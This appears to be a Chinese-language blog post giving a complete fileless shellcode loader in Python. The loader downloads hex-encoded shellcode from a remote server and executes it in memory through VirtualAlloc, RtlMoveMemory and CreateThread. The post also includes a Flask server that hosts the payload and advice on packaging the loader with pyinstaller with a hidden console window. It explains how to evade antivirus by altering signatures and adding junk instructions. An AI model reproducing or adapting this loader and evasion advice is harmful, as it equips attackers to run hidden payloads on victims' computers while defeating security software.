Python shellcode免杀无文件落地

很简单的一次实现。

客户端

#客户端
import requests
import ctypes

# 云服务器的URL,包括 hello.txt 文件的路径
server_url = 'http://你的ip地址/hello.txt'

# 发送HTTP GET请求获取文件内容
response = requests.get(server_url)

# 检查响应状态码是否为200,表示请求成功
if response.status_code == 200:
    # 从响应中获取文件内容
    file_content = response.text
    # 在内存中使用文件内容,例如打印文件内容
    print(file_content)
    print(type(file_content))
    # 去除开头的 "\x" 并分割字符串
    hex_values = file_content.split("\\x")[1:]
    print(hex_values)
    print(type(hex_values))

    hex_list = hex_values

    # 获取最后一个元素
    last_element = hex_list[-1]
    # 替换不正常的字符
    new_last_element = last_element.replace('\"\r\n', '')
    # 将替换后的元素放回列表
    hex_list[-1] = new_last_element

    # 将十六进制字符串列表转换为十六进制字符串
    hex_string = "".join(hex_list)
    hex_string = hex_string.rstrip('"')

    print(type(hex_string))
    print(hex_string)

    # 将十六进制字符串转换为字节数组
    byte_array = bytearray.fromhex(hex_string)
    print(byte_array)
    print(type(byte_array))

    shellcode = byte_array
    # VirtualAlloc函数用来开辟内存空间,返回类型为ctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))

    # RtlMoveMemory函数将Shellcode加载至此段内存空间
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buf,
        ctypes.c_int(len(shellcode))
    )

    # 使用CreateThread函数创建一个线程从Shellcode的起始地址开始执行此段内存空间的内容
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )

    # 通过WaitForSingleObject函数来等待执行结束
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))


else:
    print('Failed to retrieve file:', response.status_code)

服务器端存payload:

(2024年5月18日19:26:33: 更新打码了

md一直有人给我传VT呢 我手机库库响)

服务器后端:

(需安装flask框架)

#服务器:
from flask import Flask, send_file
app = Flask(__name__)
@app.route('/hello.txt')
def hello():
    return send_file('hello.txt')
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

使用pyinstaller打包客户端。记得去掉Dos黑窗口

运行能过大部分杀软。

可是某数字杀软已经过不了。这很正常。某数字杀软本身宁错杀勿放过,其次人家有智慧云大脑,这玩意只要被查出来就会上传云上,之后就不免杀。

你可以尝试改改特征,换个打包工具。把代码添加花指令。再隐藏一些特征。应该还是可以有时过掉比较难过的杀软。别人的免杀永远仅供参考 别自己原封不动地去用。

总结:python的免杀在我个人看来已经不推荐了。pyinstaller打包特征过于明显,python本身是高级解释性语言,没有c的底层api 你用Virtual alloc分配内存也特别明显,编译后的exe文件极其容易被查出特征。尽管有时可以过一些杀软,考虑性价比 仍然不推荐用python。除非你非常精通python和免杀技术。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值